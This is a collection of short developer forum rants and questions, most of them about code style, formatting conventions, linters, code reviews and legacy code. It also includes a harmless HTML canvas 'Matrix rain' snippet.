[Code is in PHP, for reference]
* Virtually no documentation (whereas my current style is near-obsessive with PHPdoc blocks)
* Where comments exist, they only use // and are a full tab after the end of the line
* All assignment operators are dutifully aligned on tabs
* Have to update the entire codebase because it relies on deprecated `mysql_*` calls
* Have to flip all of the quotes throughout the codebase because I used double-quotes as my primary at the time instead of single quotes.
* Also relied on magic quotes for injecting variable content into strings
* Associative array practices varied; sometimes the names are encased in double quotes, but I just hit a block where it's all leaving it to the compiler to interpret unquoted string literals
And perhaps the most egregious so far...
* Any time we get database results back the process for cycling through them is to do `$count = mysql_num_rows($result);` (or $count2, etc.), then do a `for ($i = 0; $i < $count; $i++)` (again, or $j, $k, etc.), instead of just a simple `while ($data = $result->fetch_assoc())`2 -
My company ex-IT Maintainer, left a long automation script in c++, bit of python 2, and bash for our server which developed long before i went to junior high school. and now, the system is outdated, and have a compability problems. so i got task to give it a fix.
when i opened the source code up. i was like; holy shit who the hell write a code especially c++ all aligned to the left, Yes All of it, not a single line are indented. but in the other side the code seems maintainable, and after autoformat, autoindent and couple of fix later, it was readable. I am just wondering who the hell in the world write a code with a style like that ???? i knew he was aware of code style and indentation since he wrote couple of python scripts. Unbelievable.
sadly i cannot show you the pict cuz of company things. -
FUCK YOU EMOJIS! FUCK YOU AND YOUR EVER FUCKING GOD DAMN SPECIAL WAY OF BEING HANDLED.
Now that I have that part out...
I really fucking hate emoji at this time. Currently I'm working on one of my projects that has markdown support. One of the things I'm extendending the parser with is github style emoji (eg. :smile:) now this part works great. The problem however is getting that short code into a unicode char for HTML. And at the same time I have to take any unicode emoji inserted into the text box by phones and stuff and convert them into the shortcode (My database does support emoji but it's much nicer to store all emoji with the same standard)
All of this has taken 5 hours of research (needed a database of unicode -> short names) and several hours of converting the data from someone elses json into something I can use. (AKA Shrinking the damn file to only what I need) and now I've spent 5 more hours working on the actual code. And I still don't have it working properly.3 -
First: I have to give credit to my high school CS teacher. She gave us a good grounding in computer theory about: pointers, memory organization, and algorithms.
Second: Second I just read the fucking manual. Then programmed a LOT more than people who didn't get good. Hundreds of hours during college, thousands since then. I got style information from reading other peoples code and also learned about how not to code by reading other peoples code. Ever buy a book that proclaims to teach you X, but actually teaches you a proprietary wrapper they wrote for X that has a shitty license? Fuck those people. Anyway, when internet sharing became more of a thing I started watching videos by experts and reading articles. And now I learn from people here as well. Never stop learning and always RTFM. -
We have 4k Monitors and SSDs with more than 120 GB, why there are still new projects that use a formatting style that doesn't have a clear relation of the opening { and corresponding closing }. i.e. put them either on the same line or column?
Please don't write code where the imaginary line between the { and } goes diagonally over other parts of the code. It makes it unreadable and my brain hurts from looking at it. Its better to have readable code and "waste" some lines and bytes for code that is easier to read.10 -
Yeah Statler and Waldorf are my new role models. A code review in S&W style should be quite a killer, haha.
- I've never seen anything like this before.
.
.
.
- And I hope I'll never see anything like this again!8 -
My colleagues want to forbid the usage of the shorthand constructor in TypeScript.
I feel strongly about this.
At least they find it annoying that I call the more verbose one "PHP-style constructor" :D -
What you do: copy and paste existing code from the project
How you explain it to your boss: "conformed to existing code style" -
Code for Matrix Rain Using HTML
<!DOCTYPE html>
<html>
<head>
<title>Matrix Rain</title>
<style>
* {margin: 0; padding: 0;}
body {background: black;}
canvas {display: block;}
</style>
</head>
<body>
<canvas id="c"></canvas>
</body>
<script>
var c = document.getElementById("c");
var ctx = c.getContext("2d");
//making the canvas full screen
c.height = window.innerHeight;
c.width = window.innerWidth;
//english characters
var english = "1001010101110101010101010010101000101011101111010101010110101010101010101110000101";
//converting the string into an array of single characters
english = english.split("");
var font_size = 15;
var columns = c.width/font_size; //number of columns for the rain
//an array of drops - one per column
var drops = [];
//x below is the x coordinate
//1 = y co-ordinate of the drop(same for every drop initially)
for(var x = 0; x < columns; x++)
drops[x] = 1;
//drawing the characters
function draw()
{
//Black BG for the canvas
//translucent BG to show trail
ctx.fillStyle = "rgba(0, 0, 0, 0.05)";
ctx.fillRect(0, 0, c.width, c.height);
ctx.fillStyle = "#0F0"; //green text
ctx.font = font_size + "px arial";
//looping over drops
for(var i = 0; i < drops.length; i++)
{
//a random chinese character to print
var text = english[Math.floor(Math.random()*english.length)];
//x = i*font_size, y = value of drops[i]*font_size
ctx.fillText(text, i*font_size, drops[i]*font_size);
//sending the drop back to the top randomly after it has crossed the screen
//adding a randomness to the reset to make the drops scattered on the Y axis
if(drops[i]*font_size > c.height && Math.random() > 0.975)
drops[i] = 0;
//incrementing Y coordinate
drops[i]++;
}
}
setInterval(draw, 33);
</script>
<body>
</html>1 -
When you write a new project using TDD and your colleague who isn't in to it make all unit tests practically fail and also breaks code style tests and doesn't give a flying monkeys.
His excuse is if you write tests what will test the tests -.-
What would your reaction be to that?2 -
Just realized I don't have a code style. In python at least I stick to what flake8 tells me, but with C++ I change my style every project I work with to adapt to their existing code base, and then I keep that style untill the next project.
Current project is an ns-3 module, and their code style is quite horrible but I'm already making it a part of me.1 -
A constant fight because the code style matters. If you think it doesn't, just go and die already.
If any of you great folks with no sense of code style are reading this, fuck you, fuck you all, you should leave your jobs and yes I am talking about these assholes who have like 15-20 years of experience in the industry but surprisingly I never heard of anything they made.1 -
1. Commented code instead of actually cleaning it up.
2. Returning default return variables instead of rewriting obsolete code. (Generally if/else conditions with return). So instead of removing the if/else statements i return default value(null or empty objects). This is when the case of if/else will never arise. -
I like style checkers. I really do. I may not agree with any of the rules they force upon the rules, but I will bury that for consistent code. That said, why, oh why, does this damn thing have to fail out the build rather than just warning me in the IDE. This fucker takes 15 minutes to build and when it fucks the build, it's a huge waste of time.
That said, anyone know how to get check style rules out of Maven and put them in IntelliJ? Myself and my team would love you forever.3 -
How do I become good with functional features(map,reduce,filter,zip,flatmap) in Javascript and Python?
It feels so alien. I'm so used to writing plain old loops.
Reading and undersranding this kind of style in other people's code is really hard for me, especially if all this is happeining on the same line.4 -
> some other team leader reviewing some code I wrote
> "NOOOO NOOOO YOU CAN'T USE ALL UPPERCASE IDENTIFIERS, IT'S BAD PRACTICE, NOBODY DOES THIS"
Today on: people rejecting PRs because they dislike a perfectly valid style for writing enums8 -
One thing that is really difficult is when you are writing let's say C code for months, and then you switch to C# or Python, you immediately use C-style logic and forgo the easier, shorter Python syntax!
I did a python kata on the Codewars website. After submitting it, I realized my solution was like 10x longer than every other solution. Talking about hand in face.
Stuck to basics and forgot about Python's amazing shortcuts. What are you going to do!1 -
Its hidden skill time.
At work, as a method of concentration I write code while singing gangnam style or some other similar song.
Perfectly and with no discernable accent even though i am Mexican American.
I also do it with Stromae songs(because I love french, not as much his music)
This is something that I learned in Portuguese class at hs :V which eventually led me to be able to survive conversations with my friends from Brazil without getting lost.
Languages are cool, just wish I was able to properly speak more. I love languages, but just stick to English and Spanish since those are the only ones that I speak fluently.
Wife speaks french, and she has tried teaching me even though I really can't get the hang of it just yet. Instead she showed me how to read it.
German and Japanese are on the list as well.4 -
OH MY FUCKING GOD. I HATE
H A T E
ACQUIA SITE STUDIO.
"Let's make a low-code 'solution' for developers who barely can stand working on Drupal as it is, and make the completely easy and perfect process of styling a website, COMPLETELY UNBEARABLE!"
Yea this is a great idea, experienced developers can now spend hours trying to fucking find where a single style is coming from. Oh it was too easy to cmd+f a stylesheet or a codebase to find something particular? Yea FUCK THAT. Lets turn EVERY SINGLE STYLE into a unsearchable .yml file where every style definition is now a machine hash. WAY easier to use. Isn't it so cool to fucking click on styles from a dropdown where they come off the edge of the screen. FUCK whichever stupid fuck came up with this dog shit nonsense. I fucking HATE this soul crushing work.2 -
Fuck fuck fuck. Joined a new gig. Been a week and today saw code which did something like this: .append(“<style>.add{}”)
FML! And this is a react app. -
Yanno, when I pay $60 for a theme, I get what I get. That's fine. Invariably I end up having to mess with the css. That's fine too.
However, theme makers? Please don't mix hyphens and underscores in your selectors. Decide on a case style. Avoid div-itus.
And for the love of all a selector such as #Top_bar .logo #logo a.logo makes code a pain in the ass to test2 -
I hate programmatic auto layout. It's such a mess! Simple shit like cells that can easily be defined in a .nib become spaghetti coded messes that violate every good programming practice ever. Want to recreate the same style of cell again? Good luck reverse engineering the hieroglyphics your teammate wrote when creating the layout by hand. Never mind a whole bunch of useless shit is done in code that could easily be defined via runtime attributes through the storyboard. But why learn a new approach? Cause job security. Or because for some reason Interface Builder tools are seen as "too hard" or "not scalable" to use.. fuck me.2
-
I'd like to create an imageboard app with React-Native and got a few questions.
Every user has to like or dislike the shown content to advance to the next image/video (tinder style). I want to use that data to feed a machine learning algorithm and generate an unique selection of displayed media for each user with that.
Even though I never used it yet before (I'm still learning to code) I want to use python and a python machine learning library for that.
Can you give me any advice for the python part? For example which library to use, where to start, etc. .
Do you think that might be an interesting idea to realize? :)2 -
People who use automatic code beautifiers and standards fixing scripts. 😠
Agreeing on a coding style with your team is important. But I really don't feel like reviewing the new guy's PRs if it's a thousand style adjustments and a tiny bugfix.
If you disagree with the current style, communicate about it so everyone can discuss and adopt new rules, and fucking fix the whole codebase in a separate PR.1 -
They are using a interesting code formatting style
Star Citizen: Bugsmashers! - Spectator Mode Crash - YouTube https://youtube.com/watch/...2 -
Has anyone else used CodeBeat before? I just started an open source project that I plan to publish onto NPM so I created a public GitHub repo. Saw a marketplace tab and thought what the heck let's try it out. Found automated code reviewing software and gosh darn! Their GPA style grading system makes me want to write some pretty efficient code!
Has anyone else had the pleasure of using it?1 -
We have decent linting on our codebase which covers off code quality and style.
We also have a developer who insists on making code reviews about formatting and spacing rather than functionality even tho we've tried in multiple ways to say:
- our linting covers it, if that's happy we should be (and the rest of the team is)
- it's a waste of time doing it
- it wastes the time of the team reading it
- the noise it generates makes it hard to see any legit comments
I swear to god if I see another comment saying "new line" i will scream. -
So to give you a feel for what evil, clusterfuck code it was in: this projects largest part was coded by a maniac, witty physicist confined in the factory for a month, intended as a 'provisional' solution of course it ran for years. The style was like C with a bit of classes.. and a big chunk of shared memory as a global mud of storage, communication and catastrophe. Optimistic or no locking of the memory between process barriers, arrays with self implemented boundary checks that would give you the zeroth element on failure and write an error log of which there were often dozens in the log. But if that sounds terrifying already, it is only baseline uneasyness which was largely surpassed by the shear mass of code, special units, undocumented madness. And I had like three month to write a simulator of the physical factory and sensors to feed that behemoth with the 'right' inputs. Still I don't know how I stood it through, but I resigned little time afterwards.
Well, lastly to the bug: there was some central map in that shared memory that hold like view of the central customer data. And somehow - maybe not that surprisingly giving the surrounding codebase - it sometimes got corrupted. Once in a month or two times a day. Tried to put in logging, more checks - but never really could pinpoint the problem... Till today I still get the haunting feeling of a luring memory corruption beneath my feet, if I get closer to the metal core of pure C.1 -
Hey ya'll back with another college boi question.
I want to develop a web server akin to that of jackbox/among us. Where each session has like an 'ABCXYZ' style code, and i assume are using TCP sockets on the back end.
I'll be writing in Go cause I <3 Go and its a chad language. Anywho, am i supposed to spin up a new websocket server each time someone wants to make a room? Or do i have one websocket server and some sort of map of rooms.
gameRooms := map['id_string']clients
Anyone have any suggestions for this?7 -
A former team lead decided the team should review any open PR before proceeding with their own tasks after their breaks. Any open PR also meant reviewing refinements in an ongoing discussion. Several times, we wasted time for review, coding, and discussing when the second reviewer asked to revert the changes introduced according to the requests of the first reviewer.
Now as a freelancer, in smaller projects, I sometimes have no coworkers to review my code. So, apart from testing, I try to pay more attention to linters, static code analysis and automated coding assistance. I have stylelint, eslint, SonarLint, and possibly some more IDE inspections. For the infamous popular blogging software, I also have a so-called PHP code sniffer that checks all PHP and JavaScript code for compliance with the WordPress coding styles, so finally, I got the team experience back: SonarLint suggests removing unnecessary spaces and reformating my code, which in turn makes PHPCS complain that the code violates the legacy code style. -
What are your plans for Christmas?!?!!??
I normally won't engage in societal tropes like pointless, generic, smalltalk or those questions people ask for lack of independent thought/societal trope-isms....
Here's my templated answer this year:
Background = ~2k$ in piles of tech... server upgrades components, apparently the only managed switch left in business/non-custom enterprise networking in the country/indexed for sale
(2k in what I would pay.... my tech sourcing is more base level and +4 years pro exp(yea... since age 8... really))
Foreground.... a shiny ✨️ new, wonderfully discounted for dumb reasons that i appreciate... 10Tb LFF HDD! 🥹🥲🤩
I really like raw data... enough raw data and proper context relevant high-level, custom, precise algorithms and i genuinely believe literally any questions or problems can be quantified and solved for
So... I just keep getting data, life, sourcing, stats on human behaviour... i factor everything
Yes i realise im very odd
//initial context plus curiousities
As parsed out to somewhat tangential commentary below... i cant keep making people go away for societally viewed polite engagement. Therefore, when asked again by factory sales rep who enjoys verbosity and apparent finds me extremely worth his intrigue/personal time
// additional context (and my attempt to be more parse and comment conscious)
With a bunch of initial reveals and launches startjng in a week and technically being the "owner/boss"(cringy to me so Ive officially made my title (anywhere with custom input fields) DragonOverlord...dragons being a tied in theme to all sects and no one can say DragonOverlord isn't a position... as it's clearly a class... unless you find a human more style code ignorant, comment inept, and in need of a very multilingual scribe to create a lexicon 2 steps before my code would be even follow-able without a likely, bad, headache and davinci code like adventure including the improbably well placed wise scholars that just happen to have significant unique and vital information they are willing to freely share with strangers.rant christmas data architecture motivational societal tropes temptation so i can build my database structure loathing python raw data data misanthropy databases49 -
I hate coding tests for a job interview. I've done three types:
1) university style of "write function that does x" (fizz buzz)
2) this code has a bug, fix it
3) write a program that does this university style contrived thing (exact change)
One and two usually are timed to 10 to 15 minutes per question. Three is untimed but unstated "time counts".
Off all three, the last one is the best in my opinion. However it still seem like we could come up with something better.1 -
We've introduced an official coding style at my work, which is great. Visual Studio will even alert us when code isn't up to snuff.
What Microsoft didn't think to do was let me automatically apply naming conventions across entire solutions or even just projects. I got to spend a few hours today manually going through hundreds of files and and applying the style guide.
I can automatically apply brace style across an entire solution, why won't you let me do the same with naming conventions?! A few hours down, a few more to go.6 -
How do you usually divide the commits?
I'm a student and I would like to know your coding preferences at both work and your personal projects. Do you prefer to commit almost fully coded classes or you just rapid-fire all the functions you finished?7 -
My web dev teacher was drunk almost every lesson, and my C++ teachers don't care about visiting our high school)) All we know is learnt by ourselves
Other teacher hates when we type
void smth(){
}
Instead of
void smth()
{
}
And wants to overwrite the code to fix these style errors))3 -
!rant
Ever find something that's just faster than something else, but when you try to break it down and analyze it, you can't find out why?
PyPy.
I decided I'd test it with a typical discord bot-style workload (decoding a JSON theoretically from an API, checking if it contains stuff, format and then returning it). It was... 1.73x the speed of python.
(Though, granted, this code is more network dependent than anything else.)
Mean +- std dev: [kitsu-python] 62.4 us +- 2.7 us -> [kitsu-pypy] 36.1 us +- 9.2 us: 1.73x faster (-42%)
Me: Whoa, how?!
So, I proceed to write microbenches for every step. Except the JSON decoding, (1.7x faster was at least twice as slow (in one case, one hundred times slower) when tested individually.
The combination of them was faster. Huh.
By this point, I was all "sign me up!", but... asyncpg (the only sane PostgreSQL driver for python IMO, using prepared statements by default and such) has some of it's functionality written in C, for performance reasons. Not Cython, actual C that links to CPython. That means no PyPy support.
Okay then.1 -
purity might just be the most important thing when refactoring code you didn't write.
for real, if you purify everything in that code, future refactorings will go way smoother and reasoning even more so.
But it's no easy feat, sometimes you face cockroach code. cockroach code is code written nuke style. The fire and forget code that you shouldn't forget.
cockroach code's easy to spot. you can't know what cockroach code does without reading it's comments. roach code is fat, roach code retro feeds from different spots of macaroni. it does IO and everything else all bundled together.
roach code isn't easy to scratch out its async version. in fact, thats a property of roach code. If you can't make it async without a rewrite, you've got roach code.12 -
It was back in 2010, they told me to build a simple CRUD system, habe me 2 hours, just to see the code structure/style.
Was it hard? No! I handed it in after 30min, the remaining time I got to talk to the devs. Was nice. No bullshit, no whiteboard, just a laptop and an IDE.6 -
As I started learning React, I found the allure of declarative style of programming appealing. I try to avoid maintaining multiple state variables for data that can be derived from the base state itself that's stored in the redux store. It works wonders when I have to change something; as I just need to make changes to one function in the utils folder and that change is implemented across the whole app, rather than change the instances everywhere as was the case when I initially started working on this project after the previous dev left.
But I see myself redefining a lot of computed values everywhere, and if I just try to define them in the root component, I'll end up with a huge list of props being passed to a couple of components. Shifting it to the utils folder helps a bit, but then I find myself defining even the simplest of array filtering methods to the utils folder.
Is this need to define computed values everywhere a trade-off that you need to accept when you write declarative code, or is there a workaround/solution I am missing? As of now, the code-base is much better than how it used to be when they had a literal Java dev work on React with their knowledge of Java patterns being used in a framework that is the polar opposite of OOP, but I still feel like there's room for improvement in this duplication of computed values.2 -
K&R style Brackets are so goddamn shitty. I hate hate hate hate that style. It makes code so goddamn hard to read. And for what gain? You write "less" lines of code? So what? Who gives five fucks about that? Readability is key for coders.7
-
Is there a good place to post code and have people comment on the style or the logic? I'd love to start getting feedback on my code and break bad habits before they become too ingrained. Plus, our first project is a blackjack game, I'm working through it pretty well but I'm a little stuck and I think it's completely because I'm paranoid I'm not doing it well/right (even though I probably am).2
-
DevFolio
This is a simple responsive portfolio website template. You can use it and make it yours by changing things and colours to your style and liking! I made it with a lot of hard work, love and of course with code :) I'm not a professional coder, but I tried my best to make it look cool and yet still keep it simple.
Mistakes are proof that we are trying!
I learned so much while making this template, if you use it, please let me know. I would love to see how amazing people can make it! I hope you'll like it!
I have used:
- HTML5 for markup
- Pure CSS3 for styling
- Bit of JavaScript to make a hamburger menu to work on mobile devices
- Font Awesome for Icons
- Unsplash for Images
You can add more things to make it even cooler! The comments in the code will help you navigate through it. Have a nice day! :D
you can view the Github repo at https://github.com/achaljhawar/...1 -
If by coding style, you mean conventions and not design patterns, then I'm surprised no one has mentioned the official documentation nor the standard library of sorts. I'm relatively new in the industry but at least I'm quick to realize that every language/framework community tend to have their own preferred style; not a one-size-fits-all thing. And these preferences are usually set off by code samples from the official docs. This is true at least for the big communities where the official docs are well-written.
-
Got a guy trying to convince bosses of enforcing ESlint rules or whatever
This is the same guy that came into our repository forcing this shit on every single file he touched, when we had a different, established style
I shouldn't have let his new style enforced by ESlint defaults pass the first time in code review
Like, WHY the fuck do you want to be the enforcer of styles when you started shitting on what was there in the first place
Jesus fucking Christ5 -
If you are reviewing pull requests to your code base, what aspects do you focus?
I am asking, because a colleague of mine most of the time complains about minor code style issues, like the following:
"why is that method static, it belongs to the object. I am not used to static methods, please adjust"
"the methods are not arranged in a standardized breadth-first order"
"Please use that other kind of initialization..."
Those nit-picks make me crazy sometimes. Is it just me?
I mean, her reviews also contain valuable content, but those small complains about coding style feel like "I did not found anything else but I have to". ^^5 -
Inherited a massive code base today... All JS is still being accessed via global scope... what are modules & modular design even... SOLID and DRY are things that clearly never crossed the devs mind during inception of this beast... and to top it all off all there is a weird BEM / SCSS style going on that somehow manages to confuse the IDE... thus all style helper utilities in the IDE are useless...2
-
so some controversial opinions
Our company is moving most of our code style to snake_case, even the JavaScript. Here's our resoning:
Take the CustomerAccountMembership model. In our Python server, we would access it as obj.customer_account_membership, in JavaScript as obj.customerAccountMembership and our API endpoint as api/path/customer-account-membership. Thus we had several String utility functions such as `camelize`, `kebabChop` (which is ironically camelCased) and `snakeify`, and we would use them in translating from URL path to JS to Python, which was troublesome.
Now HTTP allows _underscores_ unescaped and do not pose any significant meaning. JavaScript also accepts it as a valid character in variable names. On the other hand, HTTP is strictly lower-cased, and all computer languages use the -dash- to signify subtraction. Sooo the _underscore_ is the only style that is compliant everywhere.
Unless, of course, we go with customeraccountmembership, which I refuse to do.
I'm not that deep into code character rules.
Opinions?7 -
What is worse than editing legacy CSS code? Trying to style a page using only no-code / low-code tools. Simplest things like a border only on one side seems nearly impossible or requires hours of trial-and-error with drag-and-drop-modules and their arcane option dialogs.7
-
After getting fed up of “being productive” I fooled around on GitHub and had a look at the Stuxnet virus source code which was obtained using a decompiler. Experts who reverse-engineered it found out that it was written in “object-oriented C.” While C is not an object oriented language, anything you can do with classes you can do with structs, static functions, pointers & function pointers. You can see this coding style in the Linux kernel, CPython interpreter and many other places. That was the first indication that a government agency or defence industry was responsible. Amazing stuff !6
-
Refactoring code to meet style guide..... 20 bucks says outside of my code reviews no one will look at it for years.
-
Home grown coders or college grad coders?
For those of you that taught yourself too code, or those who studied in schools, which style has prepared you the most for the real world?
I've met so many self taught coders who can program circles around some of my colleagues, but does a computer science/programming degree ensure you success over those who may know more?
Thought it would be an interesting discussion for you lot, personally I'm a mix of both but primarily a undergrad coder.
Keep it clean :)8 -
Long time nothing from Mr. Gitmaster, somehow made my peace with him as the project moved out of my focus and he actually seemed to be contributing.
But now some pull request exchanges burst into flames as if they were on LKLM before Linus got castrated. Actually it's with the guy who is jamming out most of the front end code trying to make a really shiny UI with lots of animations that turn our macs into heaters.
Well, debate was over JS code styles or lack thereof and how commented out code should be removed (would actually support Mr gitmaster here). They have me a bit lost there, as I expect the freestyle JS code we produce without any agreed Coding Style Guideline to be an even greater clusterfuck than our C++ code base.
Anyway, hope they come to terms again, like at the start of the project when they jokingly attributed one another as assholes. Their opposing characters could actually benefit from each other. -
(I'm not completely sure of what I'm saying here, so don't take this too seriously)
Settling on a language to write the api for ranterix is hard.
I'm finding a lot of things about elixir to be insanely good for a stable api.
But I'm having a lot of gripes with the most important elixir web framework, phoenix.
Take a look at this piece of code from the phoenix docs:
defmodule Hello.Repo.Migrations.CreateUsers do
use Ecto.Migration
def change do
create table(:users) do
add :name, :string
add :email, :string add :bio, :string
add :number_of_pets, :integer
timestamps()
end
end
end
Jesus christ, I hate this shit.
Wtf are create, add and timestamps. Add is somehow valid inside the create, how the fuck is that considered good code? What happens if you call timestamps twice? It's all obscure "trust me, it works" code.
It appears to be written by a child.
js may have a million problems. But one thing I like about CJS (require) or ESM (import) is that there's nothing unexplained. You know where the fuck most things come from.
You default export an eatShit() function on one file and import it from another, and what do you get?
The goddamn actual eatShit function.
require is a function the same way toString is a function and it returns whatever the fuck you had exported in the target file.
Meanwhile some dynamic langs are like "oh, I'll just export only some lang construct that i expect you to specify and put that shit in fucking global of the importing file".
Js is about the fucking freedom. It won't decide for you what things will files export, you can export whatever the fuck you want, strings, functions, classes, objects or even nothing at all, thanks to module.exports object or export statement.
And in js, you can spy on anything external, for example with (...args) => debugger; fnToSpyOn(...args)
You can spoof console.log this way to see what the fuck is calling it (note: monkey patching for debugging = GOOD, for actual programming = DOGSHIT)
To be fair though, that is possible because of being a dynamic lang and elixir is kind of a hybrid typed lang, fair enough.
But here's where i drop the shit.
Phoenix takes it one step further by following the braindead ruby style of code and pretty DSLs.
I fucking hate DSLs, I fucking hate abstraction addiction.
Get this, we're not writing fucking poetry here. We're writing programs for machines for them to execute.
Machines are not humans with emotions or creativity, nor feel.
We need some level of abstraction to save time understanding source code, sure.
But there has to be a balance. Languages can be ergonomic for humans, but they also need to be ergonomic for algorithms and machines.
Some of the people that write "beautiful" "zen" code are the folks that think that everyone who doesn't push the pretty code agenda is a code elitist that doesn't want "normal" people to get into programming.
Programming is hard, man, there's no fucking way around it.
Sometimes operating system or even hardware details bleed into code.
DSLs are one easy way to make code really really easy to understand, but also make it really fucking hard to debug or to lose "programming meaning".7 -
Writes all logic for a colleague his project so he can meet his deadline. Gets complaining about code-style.
-
I loosely set aside Friday evening, Sunday and Monday for a rush job that was supposedly urgent. Monday I was sent the style-guide. It's mandatory to be written with bootstrap. Tuesday 10am, no copy, no images, no idea where the code will go or how it's context's global CSS will cascade over mine. Visual designer says the logo they provided me isn't crisp enough. How many grown adults does it take to screw in a lightbulb? 9?
-
I had a discussion with my colleagues about my bachelor thesis.
Together we created within the last 18 month a REST-API where we use LDAP/LMDB as database (tree structured storage). Of course our data is relational and of course we have a high redundancy there. It's a 170 call API and I highly doubt that it's actually conforming REST.
Ensuring DB integrity is done in the backend and coding style there is "If we change it at one place, let's make sure to also change it everywhere else", so you get a good impression how much of spaghetti code we have there.
Now I proposed to code a solution in my bachelor thesis where we use a relational database (we even have an administrated Oracle DB with high availability) and have a write-only layer to also store the data in LDAP but my colleagues said that "it would add too much complexity to the system".
Instead I should write the relational layer myself and fetch the data somehow from the existing LDAP tree.
What the actual fuck, spaghetti code is what makes the system really unnecessarily complex so that no one will understand that code in 2 years.
Congratulations, you just created legacy code that went into production in 2018 while not accepting the opportunity to let that legacy code get eliminated.
Now good luck with running and maintaining that system and it's inconsistencies.1 -
So we have duplicate code because dumb devs thinks Bootstrap (4) is kick-ass for mobile. 😒 Can't do jack with their tables.
I told them to use Flexbox instead. Bootstrap (even 4) is antiquated and there's better options.
My recommendation is to use Flexbox Grid with React to build a modular living style guide with built in unit testing for styles and interactions.
Basically got told that my opinion is just an opinion and is the same as using Bootstrap. 😭
Anyone have some solid "facts" on Bootstrap I can use in the long run? We haven't even launched anything and we're already in technical debt because of this stupid framework decision. Someone please help. 😞3 -
Short names for the short living variables and good and meaningful name for long living ones because they'll be with you for long-long time. They are family.
I hope you get the f***g point 😠. -
I have become the guy that sends emails to the rest of my team telling them that their code doesn't follow our team's style guide.2
-
Unpopular opinion:
No one should ever argue over ANY coding style unless they're just starting out and thus have to come up with their organization's coding standards for the first time.
Once the standards are set, everyone should just comply with it irrespective of their personal preference. Or alternatively, include back-and-forth code formatting into the development workflow.
The only thing that's important is that by the time code is pushed into the codebase, it is formatted according to the defined standards so that the whole thing looks consistently written, which is basically the point of setting a coding standard.2 -
I tried to make some SP using the syntax and formatting that visual studio outputs when making a SSRS report. I thought it was nice.
It formats the code in a standard way and transforms stuff like "join" to "INNER JOIN" and "left join" to "LEFT OUTER JOIN ".
When the team reviewed the code they were like WTF?! This syntax is horrible, it can't be understood. You did this?
*Me with my red face*...
I just said. You know what? I am going to go back to the old school syntax if you prefer. I just thought it was better.
Yeah... You really should go back to old school syntax.
---
Keep in mind that the old school syntax is annoying to me... No formatting at all and basic instructions are not in larger upper case.
Anyway, I thought it was nice tbh. I still think it is. And it is definitely better to me in some way.
What bothers me most is that they want to improve their coding. They say they want to be more standard and it seems every time you want to make a change it's not a good idea because "everything is already written that way". And when you don't make a change, "you should have change it"... Well sorry I was just copying the old style.
Anyways , it's not that important. I do get their point. Sometimes.1 -
I need some advice to avoid stressing myself out. I'm in a situation where I feel stuck between a rock and a hard place at work, and it feels like there's no one to turn to. This is a long one, because context is needed.
I've been working on a fairly big CMS based website for a few years that's turned into multiple solutions that I'm more or less responsible for. During that time I've been optimizing the code base with proper design patterns, setting up continuous delivery, updating packaging etc. because I care that the next developer can quickly grasp what's going on, should they take over the project in the future. During that time I've been accused of over-engineering, which to an extent is true. It's something I've gotten a lot better at over the years, but I'm only human and error prone, so sometimes that's just how it is.
Anyways, after a few years of working on the project I get a new colleague that's going to help me on my CMS projects. It doesn't take long for me to realize that their code style is a mess. Inconsistent line breaks and naming conventions, really god awful anti-pattern code. There's no attempt to mimic the code style I've been using throughout the project, it's just complete chaos. The code "works", although it's not something I'd call production code. But they're new and learning, so I just sort of deal with it and remain patient, pointing out where they could optimize their code, teaching them basic object oriented design patterns like... just using freaking objects once in a while.
Fast forward a few years until now. They've learned nothing. Every time I read their code it's the same mess it's always been.
Concrete example: a part of the project uses Vue to render some common components in the frontend. Looking through the code, there is currently *no* attempt to include any air between functions, or any part of the code for that matter. Everything gets transpiled and minified so there's absolutely NO REASON to "compress" the code like this. Furthermore, they have often directly manipulated the DOM from the JavaScript code rather than rendering the component based on the model state. Completely rendering the use of Vue pointless.
And this is just the frontend part of the code. The backend is often orders of magnitude worse. They will - COMPLETELY RANDOMLY - sometimes leave in 5-10 lines of whitespace for no discernable reason. It frustrates me to no end. I keep asking them to verify their staged changes before every commit, but nothing changes. They also blatantly copy/paste bits of my code to other components without thinking about what they do. So I'll have this random bit of backend code that injects 3-5 dependencies there's simply no reason for and aren't being used. When I ask why they put them there I simply get a “I don't know, I just did it like you did it”.
I simply cannot trust this person to write production code, and the more I let them take over things, the more the technical debt we accumulate. I have talked to my boss about this, and things have improved, but nowhere near where I need it to be.
On the other side of this are my project manager and my boss. They, of course, both want me to implement solutions with low estimates, and as fast and simply as possible. Which would be fine if I wasn't the only person fighting against this technical debt on my team. Add in the fact that specs are oftentimes VERY implicit, so I'm stuck guessing what we actually need and having to constantly ask if this or that feature should exist.
And then, out of nowhere, I get assigned a another project after some colleague quits, during a time I’m already overbooked. The project is very complex and I'm expected to give estimates on tasks that would take me several hours just to research.
I'm super stressed and have no one I can turn to for help, hence this post. I haven't put the people in this post in the best light, but they're honestly good people that I genuinely like. I just want to write good code, but it's like I have to fight for my right to do it.1 -
I see you've gone ahead and decided to code this part using Ramda library + point free style. Let's go around and make 4 other developers learn it real quick.3
-
What is everyones opinions on declaring class constructors as 'final'?
Could use some feedback experience, pros/cons?
I'm building a hobby MVC-like framework inspired by OpenCart, where the default controller method is "index" rather then "__construct"
Keep in mind i'm only writing code towards the latest supported PHP versions, so PHP4 style constructors are not of concern. -
Unguided code style decisions and the whole personal style things sometimes display an intention behind a piece of code. They can hint on semantics and relations between the pieces of data or operations, like it's often the case with grouping that doesn't separate bunch of statements with a blank line. Sometimes, they can even carry an emotional message. Love, hate, grudges, deepest affection for some golden hammer feature of the language, everything is on the table actually. For instance, this is what fear looks like:
3==o -
Almost all of the issue trackers
Why can't any of them just decide to be good for one kind of process. Trying to fit in support for all of them just makes the products worse.
If you really want to cater to every style of issue tracking/work queue just make a low code platform from the start instead of the unholy mess that is jira1 -
Code with no clear architecture, no documentation, no coding standards, no tests, many security-issues, a lot of hardcoded stuff, written by people forced to use a completely new technology stack and messing up, of course.
But we are not allowed to change anything, of course.
We have to keep coding in that style and with the tools present in the project. For uniformity, of course.
I managed to work on that code for 2 years... Recently it dawned on me that I don't give a crap anymore.
I quit, of course. -
I saved myself headaches and whenever some one talks about this thing, I leave ...
Code gets complicated? Blame the one who forced that coding style in front of management and go to sleep peacefully.
Either work like an adult and accept criticism or go away and let me do what I'm paid for ...2 -
Couldn't find it on Google but does Node 6.9.1 support ES6 syntax and const, let, etc?
The code runs on my machine which uses 6.9.1 I think but the Code Style report raises issues saying it needs a esversion: 6. I can add it but dunno if it's gonna break in PROD -
